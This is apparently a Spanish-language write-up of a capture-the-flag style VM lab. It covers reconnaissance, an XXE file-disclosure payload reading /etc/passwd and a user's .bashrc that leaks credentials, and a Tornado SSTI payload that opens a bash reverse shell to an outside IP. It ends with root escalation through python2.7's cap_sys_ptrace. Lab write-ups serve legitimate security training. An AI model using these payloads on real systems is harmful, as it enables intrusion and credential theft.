Table of contents
Reconocimiento
Debido a que esta máquina la debemos levantar en nuestro equipo primero debemos descargarla y levantarla, luego de ello realizar un escaneo en nuestra red para poder identificar la dirección IP que se le asignó haciendo uso de arp-scan
.
El ejecutar podemos ver varias direcciones IP, la que nos importa es la que indica VMware, ya que es la dirección asignada a nuestra máquina víctima.
Enumeración
Podemos observar que tenemos un servicio que corre en tornado, algo que debemos tener en cuenta
revisando la página podemos ver que encontramos un texto interesante al comienzo
También si vemos el código fuente podemos ver algo más interesante que tenemos un formato page_no
para agregar la página.
Probamos de manera manual y podemos ver que tenemos un texto interesante, así que probaremos con burpsuite para ver más resultados de manera más rápida.
En el intruder de Burp Suite lo tenemos de la siguiente manera
El payload lo configuramos así
Después de un momento podemos ver que la longitud varía solo en uno, el cual es el 21.
El texto que podemos observar al ingresar que nos da más pistas de que hacer a continuación.
Agregamos la dirección a nuestro host.
Buscamos subdominios por medio de DIG.
Agregamos ese dominio a nuestro host hackerkid.blackhat.local
y si ahora nos dirigimos a ese dominio podemos observar un registro.
Interceptamos el registro y podemos observar que nos devuelve el mail
probamos ingresando algun otro texto en email y podemos observar que si refleja
Esto podría ser una vulnerabilidad xxe, enviamos la consulta y podemos ver que si es vulnerable a un xxe:file disclosure.
<!DOCTYPE test [<!ENTITY xee SYSTEM 'file:///etc/passwd'> ]>
Revisamos el passwd y podemos ver que tenemos otro usuario aparte de root que usan una bash.
Como podemos leer archivos procederemos a probar si podemos listar o ver algún servicio, tratamos de listar archivos, pero no podemos, así que probamos realizando una conversión en b64 primero empezamos con etc/passwd
y también es posible.
Como es posible y no tenemos conocimiento de qué archivos, podemos recurrir a archivos que por lo general existen, así que listaremos los archivos del usuario saket
, así también recordemos que usa una bash, por lo que podemos revisar si tenemos alguna pista en su archivo /home/saket/.bashrc
.
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc"> ]>
Convertimos los resultados y si seguimos bajando en la decodificación podemos encontrar unas credenciales que también nos indican una app de Python y recordemos que el servicio corría bajo tornado.
app username="admin" password="Saket!#$%@!!"
vamos a la página que corría bajo tornado y probamos las credenciales
ingresamos la credencial pero nos da error
probamos con otros nombres como puede ser saket, ya que es el usuario donde encontramos y al enviar las credenciales podemos observar que son correctas
como podemos observar nos pide un nombre ahora revisando la plataforma y con conocimiento de que va sobre tornado buscamos vulnerabilidades y podemos observar que tiene un ssti
si colocamos /?name=algo
.
Probamos con un ssti
comunes y podemos observar que sí es viable
Explotación
probaremos un revershell
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.0.11/1234 0>&1"')}}
Enviamos como está el código, pero la petición nos da error.
Para evitar este problema antes debemos url-encodear
, como estamos pasando por burpsuite solo sombreamos el payload y damos ctrl+u
y ya lo tendríamos antes de enviar, iniciamos nuestra escucha y luego enviamos, a continuación podremos observar que ya tenemos acceso y si hacemos un hostname -I
para ver si estamos en la máquina y no en un contenedor observamos que sí estamos en la máquina.
Ahora debemos escalar privilegios para ellos, listaremos las capabilities y permisos suid
podemos observar que por capabilities
tenemos
python2.7 = cap_sys_ptrace+ep
googleando un poco encontramos una muestra de como elevar privilegios el cual podemos replicar para nuestro propósito sobre como explotar esa vulnerabilidad.
Como indica ejecutamos ps -eaf
, pero le agregamos | grep root
, ya que es el pid
root es el que nos importa.
Usaremos este
antes de continuar revisaremos si está haciendo uso del puerto con el número de PID así también ejecutaremos el exploit que indica en el tutorial del paso anterior el cual encontramos en la página de hackticks que se encuentra bajo el nombre de CAP_SYS_PTRACE
. Luego de guardar todo es código ejecutamos el archivo y veríamos lo siguiente.
Si revisamos el estado de puertos abiertos podemos observar que tenemos el puerto 5600 abierto.
Si nos conectamos por nc podemos observar que ya tenemos acceso como root